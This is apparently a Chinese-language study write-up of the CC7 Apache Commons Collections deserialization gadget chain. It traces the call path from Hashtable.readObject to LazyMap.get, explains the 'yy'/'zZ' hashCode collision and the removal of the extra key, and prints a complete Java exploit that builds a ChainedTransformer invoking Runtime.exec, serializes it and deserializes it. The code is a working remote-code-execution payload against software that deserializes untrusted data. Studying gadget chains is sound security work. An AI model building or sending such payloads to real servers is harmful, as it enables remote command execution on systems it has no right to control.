正向分析
CC7 的链子也是和 CC5 类似,后半条链子也是 LazyMap.get()
的这条链子。

看链子写exp
先复制后半条链
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
decoratemap.get(Runtime.class);
|

Hashtable.readObject
调用了reconstitutionPut

reconstitutionPut
触发AbstractMapDecorator.equals()

AbstractMapDecorator.equals()
触发AbstractMap.equals()

然后就进入到LazyMap.get
里,也就是cc5的后半段链子
- 这里我把断点打在了
AbstractMap.equals()
的地方,结果发现居然没有执行到 .equals() 这个方法,去看一看 yso 的链子是怎么写的。

yso 这里的链子比我们多了一个 map,而且将两个 map 进行了比较,一看到这个就明白了。
我们需要调用的 e.key.equal()
方法是在 for 循环里面的,需要进入到这 for 循环才能调用。
Hashtable
的 reconstitutionPut()
方法是被遍历调用的,
第一次调用的时候,并不会走入到 reconstitutionPut()
方法 for 循环里面,因为 tab[index]
的内容是空的,在下面会对 tab[index]
进行赋值。

- 为什么调用的两次
put()
其中map中key的值分别为yy和zZ?
第二次调用 reconstitutionPut()
进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash)
判断为真才能走到我们想要的 e.key.equal()
方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode()
得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode()
,lazyMap2 的 hash 值就是 "zZ".hashCode()
,而在 java 中有一个小 bug:
JAVA
plain 1 |
plain "yy".hashCode() == "zZ".hashCode() |
yy
和 zZ
由 hashCode()
计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put()
的值设置为 yy
和 zZ
,才能走到我们想要的 e.key.equal()
方法中。
- **为什么在调用完 **
HashTable.put()
之后,还需要在 map2 中 remove()
****掉 yy?
这是因为 HashTable.put()
实际上也会调用到 equals()
方法:
当调用完 equals()
方法后,LazyMap2 的 key 中就会增加一个 yy 键:

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。
序列化的时候也会弹计算器,因为在put的时候也调用了equals从而进入链子,所以先给个无关的参数,再通过反射修改
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> hashmap1 = new HashMap<>();
HashMap<Object,Object> hashmap2 = new HashMap<>();
Map<Object,Object> decoratemap1 = LazyMap.decorate(hashmap1,chainedTransformer);
Map<Object,Object> decoratemap2 = LazyMap.decorate(hashmap2,chainedTransformer);
decoratemap1.put("yy",1);
decoratemap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(decoratemap1,1);
hashtable.put(decoratemap2,1);
decoratemap2.remove("yy");
Class c= ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
serialize(hashtable);
unserialize("ser.bin");
|
流程图
1
2
3
4
5
6
7
8
9
|
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
|